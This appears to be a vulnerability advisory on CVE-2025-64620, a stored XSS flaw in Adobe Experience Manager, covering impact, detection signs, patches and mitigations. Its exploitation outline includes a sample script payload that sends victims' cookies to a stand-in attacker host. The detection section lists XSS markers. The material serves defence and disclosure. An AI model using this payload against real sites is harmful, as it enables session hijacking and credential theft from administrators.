CVE-2025-64620: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64620 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day via Adobe Security Advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged, network-based attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is then stored and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected payload) but does not require elevated privileges beyond a standard authenticated user account. The attack vector is network-based with low attack complexity (Adobe Advisory, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, leading to limited confidentiality and integrity impacts (CVSS C:L/I:L). Potential consequences include session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and phishing attacks delivered through trusted AEM pages. The changed scope (S:C) indicates the impact can extend beyond the vulnerable component to the victim's browser environment (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Authenticate as low-privileged user: Obtain or use existing low-privileged AEM credentials (e.g., a content author account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input without proper sanitization.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Lure or wait for a higher-privileged user (e.g., AEM administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or perform unauthorized actions via the victim's authenticated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Stored content nodes in the AEM JCR repository containing raw HTML script tags or obfuscated JavaScript within text properties that should only contain plain text.
• Process/Application: AEM error logs showing unexpected rendering of script content or Content Security Policy (CSP) violation reports if CSP is enabled.

Adobe has released patches addressing CVE-2025-64620 in AEM 6.5 Service Pack 6.5.24.0 and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises installations to version 6.5.24.0 or later, and ensure AEM Cloud Service environments are updated to the December 2025 release. As a compensating control, implementing a strict Content Security Policy (CSP) header can reduce the impact of XSS vulnerabilities by restricting script execution sources. Restricting content authoring permissions to trusted users can also limit the attacker's ability to inject malicious content (Adobe Advisory, CIS Advisory).

The Center for Internet Security (CIS) published an advisory noting that multiple vulnerabilities in Adobe products, including those addressed in APSB25-115, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable released a Nessus detection plugin (ID 278346) for this vulnerability shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to CVE-2025-64620 has been identified beyond standard vulnerability tracking coverage.